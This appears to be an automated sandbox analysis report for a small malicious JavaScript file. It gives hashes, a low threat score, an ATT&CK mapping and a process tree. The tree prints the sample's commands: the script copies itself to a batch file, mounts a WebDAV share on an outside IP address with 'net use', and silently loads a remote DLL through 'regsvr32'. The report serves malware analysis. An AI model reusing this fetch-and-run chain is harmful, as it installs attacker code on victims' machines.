5bdd364af6cfba138072670e92afc2dd50d6c979f4bdb9f39c0f5fa893331577

Analysis

max time kernel
119s
max time network
120s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
10/07/2024, 09:26

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General

Target

1651321677771123388.js
Size

5KB
MD5

fe888689f371e30f1de3e303dd7e4948
SHA1

9e71c555998084fd550bff7c18355e7919ee7801
SHA256

5bdd364af6cfba138072670e92afc2dd50d6c979f4bdb9f39c0f5fa893331577
SHA512

4533b769d77fec1a5305d0a860551620d4a0ba9ea6b3655094971bcf5cf8203b3759f59a1ba472bb372917be0e77ba33db0370037545b1a4fd84fb4dcaf2a5fd
SSDEEP

96:pt2s+rIEAoDyEMn4YYMV6YYKk+0vXYVZqDwv6qRRIwqhRTS2HRgkgS2HRX:f8rJAgapViYVZqHqYwqzYkgf

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Runs net.exe

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
1956	regsvr32.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 2996 wrote to memory of 2232	2996	wscript.exe	30
PID 2996 wrote to memory of 2232	2996	wscript.exe	30
PID 2996 wrote to memory of 2232	2996	wscript.exe	30
PID 2232 wrote to memory of 2984	2232	cmd.exe	32
PID 2232 wrote to memory of 2984	2232	cmd.exe	32
PID 2232 wrote to memory of 2984	2232	cmd.exe	32
PID 2232 wrote to memory of 1956	2232	cmd.exe	33
PID 2232 wrote to memory of 1956	2232	cmd.exe	33
PID 2232 wrote to memory of 1956	2232	cmd.exe	33
PID 2232 wrote to memory of 1956	2232	cmd.exe	33
PID 2232 wrote to memory of 1956	2232	cmd.exe	33

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1651321677771123388.js
1⤵
- Suspicious use of WriteProcessMemory
PID:2996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k copy "C:\Users\Admin\AppData\Local\Temp\1651321677771123388.js" "C:\Users\Admin\\uwxqta.bat" && "C:\Users\Admin\\uwxqta.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Windows\system32\net.exe
    net use \\45.9.74.13@8888\DavWWWRoot\
    3⤵
    PID:2984
- - C:\Windows\system32\regsvr32.exe
    regsvr32 /s \\45.9.74.13@8888\DavWWWRoot\994.dll
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:1956

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\uwxqta.bat

Filesize
5KB

MD5
fe888689f371e30f1de3e303dd7e4948

SHA1
9e71c555998084fd550bff7c18355e7919ee7801

SHA256
5bdd364af6cfba138072670e92afc2dd50d6c979f4bdb9f39c0f5fa893331577

SHA512
4533b769d77fec1a5305d0a860551620d4a0ba9ea6b3655094971bcf5cf8203b3759f59a1ba472bb372917be0e77ba33db0370037545b1a4fd84fb4dcaf2a5fd

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